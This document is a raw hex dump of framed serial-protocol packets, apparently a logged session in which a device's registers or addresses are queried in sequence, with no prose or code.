&#xA;10 03 94 33 00 00 00 &#xA;10 02 41 02 20 00 27 &#xA;10 03 84 12 00 00 00 &#xA;10 02 41 02 20 00 28 &#xA;10 03 75 FD 00 00 00 &#xA;10 02 41 02 20 00 29 &#xA;10 03 65 DC 00 00 00 &#xA;10 02 41 02 20 00 2A &#xA;10 03 55 BF 00 00 00 &#xA;10 02 41 02 20 00 2B &#xA;10 03 45 9E 00 00 00 &#xA;10 02 41 02 20 00 2C &#xA;10 03 35 79 00 00 00 &#xA;10 02 41 02 20 00 2D &#xA;10 03 25 58 00 00 00 &#xA;10 02 41 02 20 00 2E &#xA;10 03 15 3B 00 00 00 &#xA;10 02 41 02 20 00 2F &#xA;10 03 05 1A 00 00 00 &#xA;10 02 41 02 20 00 30 &#xA;10 03 E6 C4 00 00 00 &#xA;10 02 41 02 20 00 31 &#xA;10 03 F6 E5 00 00 00 &#xA;10 02 41 02 20 00 32 &#xA;10 03 C6 86 00 00 00 &#xA;10 02 41 02 20 00 33 &#xA;10 03 D6 A7 00 00 00 &#xA;10 02 41 02 20 00 34 &#xA;10 03 A6 40 00 00 00 &#xA;10 02 41 02 20 00 35 &#xA;10 03 B6 61 00 00 00 &#xA;10 02 41 02 20 00 36 &#xA;10 03 86 02 00 00 00 &#xA;10 02 41 02 20 00 37 &#xA;10 03 96 23 00 00 00 &#xA;10 02 41 02 20 00 38 &#xA;10 03 67 CC 00 00 00 &#xA;10 02 41 02 20 00 39 &#xA;10 03 77 ED 00 00 00 &#xA;10 02 41 02 20 00 3A &#xA;10 03 47 8E 00 00 00 &#xA;10 02 41 02 20 00 3B &#xA;10 03 57 AF 00 00 00 &#xA;10 02 41 02 20 00 3C &#xA;10 03 27 48 00 00 00 &#xA;10 02 41 02 20 00 3D &#xA;10 03 37 69 00 00 00 &#xA;10 02 41 02 20 00 3E &#xA;10 03 07 0A 00 00 00 &#xA;10 02 41 02 20 00 3F &#xA;10 03 17 2B 00 00 00 &#xA;10 02 41 02 20 00 40 &#xA;10 03 98 53 00 00 00 &#xA;10 02 41 02 20 00 41 &#xA;10 03 88 72 00 00 00 &#xA;10 02 41 02 20 00 42 &#xA;10 03 B8 11 00 00 00 &#xA;10 02 41 02 20 00 43 &#xA;10 03 A8 30 00 00 00 &#xA;10 02 41 02 20 00 44 &#xA;10 03 D8 D7 00 00 00 &#xA;10 02 41 02 20 00 45 &#xA;10 03 C8 F6 00 00 00 &#xA;10 02 41 02 20 00 46 &#xA;10 03 F8 95 00 00 00 &#xA;10 02 41 02 20 00 47 &#xA;10 03 E8 B4 00 00 00 &#xA;10 02 41 02 20 00 48 &#xA;10 03 19 5B 00 00 00 &#xA;10 02 41 02 20 00 49 &#xA;10 03 09 7A 00 00 00 &#xA;10 02 41 02 20 00 4A &#xA;10 03 39 19 00 00 00 &#xA;10 02 41 02 20 00 4B &#xA;10 03 29 38 00 00 00 &#xA;10 02 41 02 20 00 4C &#xA;10 03 59 DF 00 00 00 &#xA;10 02 41 02 20 00 4D &#xA;10 03 49 FE 00 00 00 &#xA;10 02 41 02 20 00 4E &#xA;10 03 79 9D 00 00 00 &#xA;10 02 41 02 20 00 4F &#xA;10 03 69 BC 00 00 00 &#xA;10 02 41 02 20 00 50 &#xA;10 03 8A 62 00 00 00 &#xA;10 02 41 02 20 00 51 &#xA;10 03 9A 43 00 00 00 &#xA;10 02 41 02 20 00 52 &#xA;10 03 AA 20 00 00 00 &#xA;10 02 41 02 20 00 53 &#xA;10 03 BA 01 00 00 00 &#xA;10 02 41 02 20 00 54 &#xA;10 03 CA E6 00 00 00 &#xA;10 02 41 02 20 00 55 &#xA;10 03 DA C7 00 00 00 &#xA;10 02 41 02 20 00 56 &#xA;10 03 EA A4 00 00 00 &#xA;10 02 41 02 20 00 57 &#xA;10 03 FA 85 00 00 00 &#xA;10 02 41 02 20 00 58 &#xA;10 03 0B 6A 00 00 00 &#xA;10 02 41 02 20 00 59 &#xA;10 03 1B 4B 00 00 00 &#xA;10 02 41 02 20 00 5A &#xA;10 03 2B 28 00 00 00 &#xA;10 02 41 02 20 00 5B &#xA;10 03 3B 09 00 00 00 &#xA;10 02 41 02 20 00 5C &#xA;10 03 4B EE 00 00 00 &#xA;10 02 41 02 20 00 5D &#xA;10 03 5B CF 00 00 00 &#xA;10 02 41 02 20 00 5E &#xA;10 03 6B AC 00 00 00 &#xA;10 02 41 02 20 00 5F &#xA;10 03 7B 8D 00 00 00 &#xA;10 02 41 02 20 00 60 &#xA;10 03 BC 31 00 00 00 &#xA;10 02 41 02 20 00 61 &#xA;10 03 AC 10 00 00 00 &#xA;10 02 41 02 20 00 62 &#xA;10 03 9C 73 00 00 00 &#xA;10 02 41 02 20 00 63 &#xA;10 03 8C 52 00 00 00 &#xA;10 02 41 02 20 00 64 &#xA;10 03 FC B5 00 00 00 &#xA;10 02 41 02 20 00 65 &#xA;10 03 EC 94 00 00 00 &#xA;10 02 41 02 20 00 66 &#xA;10 03 DC F7 00 00 00 &#xA;10 02 41 02 20 00 67 &#xA;10 03 CC D6 00 00 00 &#xA;10 02 41 02 20 00 68 &#xA;10 03 3D 39 00 00 00 &#xA;10 02 41 02 20 00 69 &#xA;10 03 2D 18 00 00 00 &#xA;10 02 41 02 20 00 6A &#xA;10 03 1D 7B 00 00 00 &#xA;10 02 41 02 20 00 6B &#xA;10 03 0D 5A 00 00 00 &#xA;10 02 41 02 20 00 6C &#xA;10 03 7D BD 00 00 00 &#xA;10 02 41 02 20 00 6D &#xA;10 03 6D 9C 00 00 00 &#xA;10 02 41 02 20 00 6E &#xA;10 03 5D FF 00 00 00 &#xA;FF 00 00 00 00 00 00 &#xA;10 02 41 02 20 00 6F &#xA;10 03 4D DE 00 00 00 &#xA;10 02 41 02 20 00 70 &#xA;10 03 AE 00 00 00 00 &#xA;10 02 41 02 20 00 71 &#xA;10 03 BE 21 00 00 00 &#xA;10 02 41 02 20 00 72 &#xA;10 03 8E 42 00 00 00 &#xA;10 02 41 02 20 00 73 &#xA;10 03 9E 63 00 00 00 &#xA;10 02 41 02 20 00 74 &#xA;10 03 EE 84 00 00 00 &#xA;10 02 41 02 20 00 75 &#xA;10 03 FE A5 00 00 00 &#xA;10 02 41 02 20 00 76 &#xA;10 03 CE C6 00 00 00 &#xA;10 02 41 02 20 00 77 &#xA;10 03 DE E7 00 00 00 &#xA;10 02 41 02 20 00 78 &#xA;10 03 2F 08 00 00 00 &#xA;10 02 41 02 20 00 79 &#xA;10 03 3F 29 00 00 00 &#xA;10 02 41 02 20 00 7A &#xA;10 03 0F 4A 00 00 00 &#xA;10 02 41 02 20 00 7B &#xA;10 03 1F 6B 00 00 00 &#xA;10 02 41 02 20 00 7C &#xA;10 03 6F 8C 00 00 00 &#xA;10 02 41 02 20 00 7D &#xA;10 03 7F AD 00 00 00 &#xA;10 02 41 02 20 00 7E &#xA;10 03 4F CE 00 00 00 &#xA;10 02 41 02 20 00 7F &#xA;10 03 5F EF 00 00 00 &#xA;10 02 41 02 20 00 80 &#xA;10 03 41 1F 00 00 00 &#xA;10 02 41 02 20 00 81 &#xA;10 03 51 3E 00 00 00 &#xA;10 02 41 02 20 00 82 &#xA;10 03 61 5D 00 00 00 &#xA;10 02 41 02 20 00 83 &#xA;10 03 71 7C 00 00 00 &#xA;10 02 41 02 20 00 84 &#xA;10 03 01 9B 00 00 00 &#xA;10 02 41 02 20 00 85 &#xA;10 03 11 BA 00 00 00 &#xA;10 02 41 02 20 00 86 &#xA;10 03 21 D9 00 00 00 &#xA;10 02 41 02 20 00 87 &#xA;10 03 31 F8 00 00 00 &#xA;10 02 41 02 20 00 88 &#xA;10 03 C0 17 00 00 00 &#xA;10 02 41 02 20 00 89 &#xA;10 03 D0 36 00 00 00 &#xA;10 02 41 02 20 00 8A &#xA;10 03 E0 55 00 00 00 &#xA;10 02 41 02 20 00 8B &#xA;10 03 F0 74 00 00 00 &#xA;10 02 41 02 20 00 8C &#xA;10 03 80 93 00 00 00 &#xA;10 02 41 02 20 00 8D &#xA;10 03 90 B2 00 00 00 &#xA;10 02 41 02 20 00 8E &#xA;10 03 A0 D1 00 00 00 &#xA;10 02 41 02 20 00 8F &#xA;10 03 B0 F0 00 00 00 &#xA;10 02 41 02 20 00 90 &#xA;10 03 53 2E 00 00 00 &#xA;10 02 41 02 20 00 91 &#xA;10 03 43 0F 00 00 00 &#xA;10 02 41 02 20 00 92 &#xA;10 03 73 6C 00 00 00 &#xA;10 02 41 02 20 00 93 &#xA;10 03 63 4D 00 00 00 &#xA;10 02 41 02 20 00 94 &#xA;10 03 13 AA 00 00 00 &#xA;10 02 41 02 20 00 95 &#xA;10 03 03 8B 00 00 00 &#xA;10 02 41 02 20 00 97 &#xA;10 03 23 C9 00 00 00 &#xA;10 02 41 02 20 00 98 &#xA;10 03 D2 26 00 00 00 &#xA;10 02 41 02 20 00 99 &#xA;10 03 C2 07 00 00 00 &#xA;10 02 41 02 20 00 9A &#xA;10 03 F2 64 00 00 00 &#xA;10 02 41 02 20 00 9B &#xA;10 03 E2 45 00 00 00 &#xA;10 02 41 02 20 00 9C &#xA;10 03 92 A2 00 00 00 &#xA;10 02 41 02 20 00 9D &#xA;10 03 82 83 00 00 00 &#xA;10 02 41 02 20 00 9E &#xA;10 03 B2 E0 00 00 00 &#xA;10 02 41 02 20 00 9F &#xA;10 03 A2 C1 00 00 00 &#xA;10 02 41 02 20 00 A0 &#xA;10 03 65 7D 00 00 00 &#xA;10 02 41 02 20 00 A1 &#xA;10 03 75 5C 00 00 00 &#xA;10 02 41 02 20 00 A2 &#xA;10 03 45 3F 00 00 00 &#xA;10 02 41 02 20 00 A3 &#xA;10 03 55 1E 00 00 00 &#xA;10 02 41 02 20 00 A4 &#xA;10 03 25 F9 00 00 00 &#xA;10 02 41 02 20 00 A5 &#xA;10 03 35 D8 00 00 00 &#xA;10 02 41 02 20 00 A6 &#xA;10 03 05 BB 00 00 00 &#xA;10 02 41 02 20 00 A7 &#xA;10 03 15 9A 00 00 00 &#xA;10 02 41 02 20 00 A8 &#xA;10 03 E4 75 00 00 00 &#xA;10 02 41 02 20 00 A9 &#xA;10 03 F4 54 00 00 00 &#xA;10 02 41 02 20 00 AA &#xA;10 03 C4 37 00 00 00 &#xA;10 02 41 02 20 00 AB &#xA;10 03 D4 16 00 00 00 &#xA;10 02 41 02 20 00 AC &#xA;10 03 A4 F1 00 00 00 &#xA;10 02 41 02 20 00 AD &#xA;10 03 B4 D0 00 00 00 &#xA;10 02 41 02 20 00 AE &#xA;10 03 84 B3 00 00 00 &#xA;10 02 41 02 20 00 AF &#xA;10 03 94 92 00 00 00 &#xA;10 02 41 02 20 00 B0 &#xA;10 03 77 4C 00 00 00 &#xA;10 02 41 02 20 00 B1 &#xA;10 03 67 6D 00 00 00 &#xA;10 02 41 02 20 00 B2 &#xA;10 03 57 0E 00 00 00 &#xA;10 02 41 02 20 00 B3 &#xA;10 03 47 2F 00 00 00 &#xA;10 02 41 02 20 00 B4 &#xA;10 03 37 C8 00 00 00 &#xA;10 02 41 02 20 00 B5 &#xA;10 03 27 E9 00 00 00 &#xA;10 02 41 02 20 00 B6 &#xA;10 03 17 8A 00 00 00 &#xA;10 02 41 02 20 00 B7 &#xA;10 03 07 AB 00 00 00 &#xA;10 02 41 02 20 00 B8 &#xA;10 03 F6 44 00 00 00 &#xA;10 02 41 02 20 00 B9 &#xA;10 03 E6 65 00 00 00 &#xA;10 02 41 02 20 00 BA &#xA;10 03 D6 06 00 00 00 &#xA;10 02 41 02 20 00 BB &#xA;10 03 C6 27 00 00 00 &#xA;10 02 41 02 20 00 BC &#xA;10 03 B6 C0 00 00 00 &#xA;10 02 41 02 20 00 BD &#xA;10 03 A6 E1 00 00 00 &#xA;10 02 41 02 20 00 BE &#xA;10 03 96 82 00 00 00 &#xA;10 02 41 02 20 00 BF &#xA;10 03 86 A3 00 00 00 &#xA;10 02 41 02 20 00 C0 &#xA;10 03 09 DB 00 00 00 &#xA;10 02 41 02 20 00 C1 &#xA;10 03 19 FA 00 00 00 &#xA;10 02 41 02 20 00 C2 &#xA;10 03 29 99 00 00 00 &#xA;10 02 41 02 20 00 C3 &#xA;10 03 39 B8 00 00 00 &#xA;10 02 41 02 20 00 C4 &#xA;10 03 49 5F 00 00 00 &#xA;10 02 41 02 20 00 C5 &#xA;10 03 59 7E 00 00 00 &#xA;10 02 41 02 20 00 C6 &#xA;10 03 69 1D 00 00 00 &#xA;10 02 41 02 20 00 C7 &#xA;10 03 79 3C 00 00 00 &#xA;10 02 41 02 20 00 C8 &#xA;10 03 88 D3 00 00 00 &#xA;10 02 41 02 20 00 C9 &#xA;10 03 98 F2 00 00 00 &#xA;10 02 41 02 20 00 CA &#xA;10 03 A8 91 00 00 00 &#xA;10 02 41 02 20 00 CB &#xA;10 03 B8 B0 00 00 00 &#xA;10 02 41 02 20 00 CC &#xA;10 03 C8 57 00 00 00 &#xA;10 02 41 02 20 00 CD &#xA;10 03 D8 76 00 00 00 &#xA;10 02 41 02 20 00 CE &#xA;10 03 E8 15 00 00 00 &#xA;10 02 41 02 20 00 CF &#xA;10 03 F8 34 00 00 00 &#xA;10 02 41 02 20 00 D0 &#xA;10 03 1B EA 00 00 00 &#xA;10 02 41 02 20 00 D1 &#xA;10 03 0B CB 00 00 00 &#xA;10 02 41 02 20 00 D2 &#xA;10 03 3B A8 00 00 00 &#xA;10 02 41 02 20 00 D3 &#xA;10 03 2B 89 00 00 00 &#xA;10 02 41 02 20 00 D4 &#xA;10 03 5B 6E 00 00 00 &#xA;10 02 41 02 20 00 D5 &#xA;10 03 4B 4F 00 00 00 &#xA;10 02 41 02 20 00 D6 &#xA;10 03 7B 2C 00 00 00 &#xA;10 02 41 02 20 00 D7 &#xA;10 03 6B 0D 00 00 00 &#xA;10 02 41 02 20 00 D8 &#xA;10 03 9A E2 00 00 00 &#xA;10 02 41 02 20 00 D9 &#xA;10 03 8A C3 00 00 00 &#xA;10 02 41 02 20 00 DA &#xA;10 03 BA A0 00 00 00 &#xA;10 02 41 02 20 00 DB &#xA;10 03 AA 81 00 00 00 &#xA;10 02 41 02 20 00 DC &#xA;10 03 DA 66 00 00 00 &#xA;10 02 41 02 20 00 DD &#xA;10 03 CA 47 00 00 00 &#xA;10 02 41 02 20 00 DE &#xA;10 03 FA 24 00 00 00 &#xA;10 02 41 02 20 00 DF &#xA;10 03 EA 05 00 00 00 &#xA;10 02 41 02 20 00 E0 &#xA;10 03 2D B9 00 00 00 &#xA;10 02 41 02 20 00 E1 &#xA;10 03 3D 98 00 00 00 &#xA;10 02 41 02 20 00 E2 &#xA;10 03 0D FB 00 00 00 &#xA;10 02 41 02 20 00 E3 &#xA;10 03 1D DA 00 00 00 &#xA;10 02 41 02 20 00 E4 &#xA;10 03 6D 3D 00 00 00 &#xA;10 02 41 02 20 00 E5 &#xA;10 03 7D 1C 00 00 00 &#xA;10 02 41 02 20 00 E6 &#xA;10 03 4D 7F 00 00 00 &#xA;10 02 41 02 20 00 E7 &#xA;10 03 5D 5E 00 00 00 &#xA;10 02 41 02 20 00 E8 &#xA;10 03 AC B1 00 00 00 &#xA;10 02 41 02 20 00 E9 &#xA;10 03 BC 90 00 00 00 &#xA;10 02 41 02 20 00 EA &#xA;10 03 8C F3 00 00 00 &#xA;10 02 41 02 20 00 EB &#xA;10 03 9C D2 00 00 00 &#xA;10 02 41 02 20 00 EC &#xA;10 03 EC 35 00 00 00 &#xA;10 02 41 02 20 00 ED &#xA;10 03 FC 14 00 00 00 &#xA;10 02 41 02 20 00 EE &#xA;10 03 CC 77 00 00 00 &#xA;10 02 41 02 20 00 EF &#xA;10 03 DC 56 00 00 00 &#xA;10 02 41 02 20 00 F0 &#xA;10 03 3F 88 00 00 00 &#xA;10 02 41 02 20 00 F1 &#xA;10 03 2F A9 00 00 00 &#xA;10 02 41 02 20 00 F2 &#xA;10 03 1F CA 00 00 00 &#xA;10 02 41 02 20 00 F3 &#xA;10 03 0F EB 00 00 00 &#xA;10 02 41 02 20 00 F4 &#xA;10 03 7F 0C 00 00 00 &#xA;10 02 41 02 20 00 F5 &#xA;10 03 6F 2D 00 00 00 &#xA;10 02 41 02 20 00 F6 &#xA;10 03 5F 4E 00 00 00 &#xA;10 02 41 02 20 00 F7 &#xA;10 03 4F 6F 00 00 00 &#xA;10 02 41 02 20 00 F8 &#xA;10 03 BE 80 00 00 00 &#xA;10 02 41 02 20 00 F9 &#xA;10 03 AE A1 00 00 00 &#xA;10 02 41 02 20 00 FA &#xA;10 03 9E C2 00 00 00 &#xA;10 02 41 02 20 00 FB &#xA;10 03 8E E3 00 00 00 &#xA;10 02 41 02 20 00 FC &#xA;10 03 FE 04 00 00 00 &#xA;10 02 41 02 20 00 FD &#xA;10 03 EE 25 00 00 00 &#xA;10 02 41 02 20 00 FE &#xA;10 03 DE 46 00 00 00 &#xA;10 02 41 02 20 00 FF &#xA;FF 00 00 00 00 00 00 &#xA;10 03 CE 67 00 00 00 &#xA;10 02 41 02 20 01 00 &#xA;10 03 E3 A6 00 00 00 &#xA;10 02 41 02 20 01 01 &#xA;10 03 F3 87 00 00 00 &#xA;10 02 41 02 20 01 02 &#xA;10 03 C3 E4 00 00 00 &#xA;10 02 41 02 20 01 03 &#xA;10 03 D3 C5 00 00 00 &#xA;10 02 41 02 20 01 04 &#xA;10 03 A3 22 00 00 00 &#xA;10 02 41 02 20 01 05 &#xA;10 03 B3 03 00 00 00 &#xA;10 02 41 02 20 01 06 &#xA;10 03 83 60 00 00 00 &#xA;10 02 41 02 20 01 07 &#xA;10 03 93 41 00 00 00 &#xA;10 02 41 02 20 01 08 &#xA;10 03 62 AE 00 00 00 &#xA;10 02 41 02 20 01 09 &#xA;10 03 72 8F 00 00 00 &#xA;10 02 41 02 20 01 0A &#xA;10 03 42 EC 00 00 00 &#xA;10 02 41 02 20 01 0B &#xA;10 03 52 CD 00 00 00 &#xA;10 02 41 02 20 01 0C &#xA;10 03 22 2A 00 00 00 &#xA;10 02 41 02 20 01 0D &#xA;10 03 32 0B 00 00 00 &#xA;10 02 41 02 20 01 0E &#xA;10 03 02 68 00 00 00 &#xA;10 02 41 02 20 01 0F &#xA;10 03 12 49 00 00 00 &#xA;10 02 41 02 20 01 10 &#xA;10 10 03 F1 97 00 00 &#xA;10 02 41 02 20 01 11 &#xA;10 03 E1 B6 00 00 00 &#xA;10 02 41 02 20 01 12 &#xA;10 03 D1 D5 00 00 00 &#xA;10 02 41 02 20 01 13 &#xA;10 03 C1 F4 00 00 00 &#xA;10 02 41 02 20 01 14 &#xA;10 03 B1 13 00 00 00 &#xA;10 02 41 02 20 01 15 &#xA;10 03 A1 32 00 00 00 &#xA;10 02 41 02 20 01 16 &#xA;10 03 91 51 00 00 00 &#xA;10 02 41 02 20 01 17 &#xA;10 03 81 70 00 00 00 &#xA;10 02 41 02 20 01 18 &#xA;10 03 70 9F 00 00 00 &#xA;10 02 41 02 20 01 19 &#xA;10 03 60 BE 00 00 00 &#xA;10 02 41 02 20 01 1A &#xA;10 03 50 DD 00 00 00 &#xA;10 02 41 02 20 01 1B &#xA;10 03 40 FC 00 00 00 &#xA;10 02 41 02 20 01 1C &#xA;10 03 30 1B 00 00 00 &#xA;10 02 41 02 20 01 1D &#xA;10 03 20 3A 00 00 00 &#xA;10 02 41 02 20 01 1E &#xA;10 03 10 59 00 00 00 &#xA;10 02 41 02 20 01 1F &#xA;10 03 00 78 00 00 00 &#xA;10 02 41 02 20 01 20 &#xA;10 03 C7 C4 00 00 00 &#xA;10 02 41 02 20 01 21 &#xA;10 03 D7 E5 00 00 00 &#xA;10 02 41 02 20 01 22 &#xA;10 03 E7 86 00 00 00 &#xA;10 02 41 02 20 01 23 &#xA;10 03 F7 A7 00 00 00 &#xA;10 02 41 02 20 01 24 &#xA;10 03 87 40 00 00 00 &#xA;10 02 41 02 20 01 25 &#xA;10 03 97 61 00 00 00 &#xA;10 02 41 02 20 01 26 &#xA;10 03 A7 02 00 00 00 &#xA;10 02 41 02 20 01 27 &#xA;10 03 B7 23 00 00 00 &#xA;10 02 41 02 20 01 28 &#xA;10 03 46 CC 00 00 00 &#xA;10 02 41 02 20 01 29 &#xA;10 03 56 ED 00 00 00 &#xA;10 02 41 02 20 01 2A &#xA;10 03 66 8E 00 00 00 &#xA;10 02 41 02 20 01 2B &#xA;10 03 76 AF 00 00 00 &#xA;10 02 41 02 20 01 2C &#xA;10 03 06 48 00 00 00 &#xA;10 02 41 02 20 01 2D &#xA;10 03 16 69 00 00 00 &#xA;10 02 41 02 20 01 2E &#xA;10 03 26 0A 00 00 00 &#xA;10 02 41 02 20 01 2F &#xA;10 03 36 2B 00 00 00 &#xA;10 02 41 02 20 01 30 &#xA;10 03 D5 F5 00 00 00 &#xA;10 02 41 02 20 01 31 &#xA;10 03 C5 D4 00 00 00 &#xA;10 02 41 02 20 01 32 &#xA;10 03 F5 B7 00 00 00 &#xA;10 02 41 02 20 01 33 &#xA;10 03 E5 96 00 00 00 &#xA;10 02 41 02 20 01 34 &#xA;10 03 95 71 00 00 00 &#xA;10 02 41 02 20 01 35 &#xA;10 03 85 50 00 00 00 &#xA;10 02 41 02 20 01 36 &#xA;10 03 B5 33 00 00 00 &#xA;10 02 41 02 20 01 37 &#xA;10 03 A5 12 00 00 00 &#xA;10 02 41 02 20 01 38 &#xA;10 03 54 FD 00 00 00 &#xA;10 02 41 02 20 01 39 &#xA;10 03 44 DC 00 00 00 &#xA;10 02 41 02 20 01 3A &#xA;10 03 74 BF 00 00 00 &#xA;10 02 41 02 20 01 3B &#xA;10 03 64 9E 00 00 00 &#xA;10 02 41 02 20 01 3C &#xA;10 03 14 79 00 00 00 &#xA;10 02 41 02 20 01 3D &#xA;10 03 04 58 00 00 00 &#xA;10 02 41 02 20 01 3E &#xA;10 03 34 3B 00 00 00 &#xA;10 02 41 02 20 01 3F &#xA;10 03 24 1A 00 00 00 &#xA;10 02 41 02 20 01 40 &#xA;10 03 AB 62 00 00 00 &#xA;10 02 41 02 20 01 41 &#xA;10 03 BB 43 00 00 00 &#xA;10 02 41 02 20 01 42 &#xA;10 03 8B 20 00 00 00 &#xA;10 02 41 02 20 01 43 &#xA;10 03 9B 01 00 00 00 &#xA;10 02 41 02 20 01 44 &#xA;10 03 EB E6 00 00 00 &#xA;10 02 41 02 20 01 45 &#xA;10 03 FB C7 00 00 00 &#xA;10 02 41 02 20 01 46 &#xA;10 03 CB A4 00 00 00 &#xA;10 02 41 02 20 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 05 &#xA;10 03 68 94 00 00 00 &#xA;10 02 41 02 02 00 06 &#xA;10 03 58 F7 00 00 00 &#xA;10 02 41 02 02 00 06 &#xA;10 03 58 F7 00 00 00 &#xA;10 02 41 02 02 00 06 &#xA;10 03 58 F7 00 00 00 &#xA;10 02 41 02 02 00 06 &#xA;10 03 58 F7 00 00 00 &#xA;10 02 41 02 02 00 06 &#xA;10 03 58 F7 00 00 00 &#xA;10 02 41 02 02 00 07 &#xA;10 03 48 D6 00 00 00 &#xA;10 02 41 02 02 00 07 &#xA;10 03 48 D6 00 00 00 &#xA;10 02 41 02 02 00 07 &#xA;10 03 48 D6 00 00 00 &#xA;10 02 41 02 02 00 07 &#xA;10 03 48 D6 00 00 00 &#xA;10 02 41 02 02 00 07 &#xA;10 03 48 D6 00 00 00 &#xA;10 02 41 02 02 00 08 &#xA;10 03 B9 39 00 00 00 &#xA;10 02 41 02 02 00 08 &#xA;10 03 B9 39 00 00 00 &#xA;10 02 41 02 02 00 09 &#xA;10 03 A9 18 00 00 00 &#xA;10 02 41 02 02 00 09 &#xA;10 03 A9 18 00 00 00 &#xA;10 02 41 02 02 00 09 &#xA;10 03 A9 18 00 00 00 &#xA;10 02 41 02 02 00 0A &#xA;10 03 99 7B 00 00 00 &#xA;10 02 41 02 02 00 0A &#xA;10 03 99 7B 00 00 00 &#xA;10 02 41 02 02 00 0B &#xA;10 03 89 5A 00 00 00 &#xA;10 02 41 02 02 00 0B &#xA;10 03 89 5A 00 00 00 &#xA;10 02 41 02 02 00 0D &#xA;10 03 E9 9C 00 00 00 &#xA;10 02 41 02 02 00 0D &#xA;10 03 E9 9C 00 00 00 &#xA;10 02 41 02 02 00 0E &#xA;10 03 D9 FF 00 00 00 &#xA;FF 00 00 00 00 00 00 &#xA;10 02 41 02 02 00 0F &#xA;10 03 C9 DE 00 00 00 &#xA;10 02 41 02 02 00 10 &#xA;10 00 00 00 00 00 00 &#xA;10 03 2A 00 00 00 00 &#xA;10 02 41 02 02 00 11 &#xA;10 03 3A 21 00 00 00 &#xA;10 02 41 02 02 00 12 &#xA;10 03 0A 42 00 00 00 &#xA;10 02 41 02 02 00 13 &#xA;10 03 1A 63 00 00 00 &#xA;10 02 41 02 02 00 14 &#xA;10 03 6A 84 00 00 00 &#xA;10 02 41 02 02 00 17 &#xA;10 03 5A E7 00 00 00 &#xA;10 02 41 02 02 00 19 &#xA;10 03 BB 29 00 00 00 &#xA;10 02 41 02 02 00 1D &#xA;10 03 FB AD 00 00 00 &#xA;10 02 41 02 02 00 20 &#xA;10 03 1C 53 00 00 00 &#xA;10 02 41 02 02 00 27 &#xA;10 03 6C B4 00 00 00 &#xA;10 02 41 02 02 00 2D &#xA;10 03 CD FE 00 00 00 &#xA;10 02 41 02 02 00 3C &#xA;10 03 CF EE 00 00 00 &#xA;10 02 41 02 02 00 49 &#xA;10 03 E1 DC 00 00 00 &#xA;10 02 41 02 02 00 7E &#xA;10 03 A7 68 00 00 00 &#xA;10 02 41 02 02 00 C4 &#xA;10 03 A1 F9 00 00 00 &#xA;10 02 41 02 02 7E E3 &#xA;10 03 DE 2A 00 00 00 &#xA;10 02 41 02 02 7E DA &#xA;10 03 79 50 00 00 00 &#xA;10 02 41 02 02 7E D1 &#xA;10 03 C8 3B 00 00 00 &#xA;10 02 41 02 02 7E C8 &#xA;10 03 4B 23 00 00 00 &#xA;10 02 41 02 02 7E B3 &#xA;10 03 84 DF 00 00 00 &#xA;10 02 41 02 02 7E 80 &#xA;10 03 82 EF 00 00 00 &#xA;10 02 41 02 02 7E 3A &#xA;10 03 84 7E 00 00 00 &#xA;10 02 41 02 02 7D D5 &#xA;10 03 DD EC 00 00 00 &#xA;10 02 41 02 02 7D 36 &#xA;10 03 10 A1 00 00 00 &#xA;10 02 41 02 02 7C 18 &#xA;10 03 E6 3C 00 00 00 &#xA;10 02 41 02 02 7B A9 &#xA;10 03 C8 51 00 00 00 &#xA;10 02 41 02 02 00 49 &#xA;10 03 E1 DC 00 00 00 &#xA;10 02 41 02 02 00 2D &#xA;10 03 CD FE 00 00 00 &#xA;10 02 41 02 02 00 3C &#xA;10 03 CF EE 00 00 00 &#xA;10 02 41 02 02 00 7E &#xA;10 03 A7 68 00 00 00 &#xA;10 02 41 02 02 01 C6 &#xA;10 03 B2 8A 00 00 00 &#xA;10 02 41 02 02 7E E3 &#xA;10 03 DE 2A 00 00 00 &#xA;10 02 42 02 01 00 00 &#xA;10 03 05 8E 00 00 00 &#xA;10 02 F4 02 20 00 01 &#xA;00 01 10 03 4A BB 00 &#xA;10 02 F4 02 20 00 01 &#xA;10 03 5A 9A 00 00 00 &#xA;10 02 F4 02 20 00 02 &#xA;01 10 03 92 93 00 00 &#xA;10 02 F4 02 20 00 02 &#xA;00 10 03 82 B2 00 00 &#xA;10 02 F4 02 28 00 FC &#xA;10 03 4F 80 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;F9 10 03 1F 25 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;F6 10 03 EE CA 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 F3 10 03 BE 6F 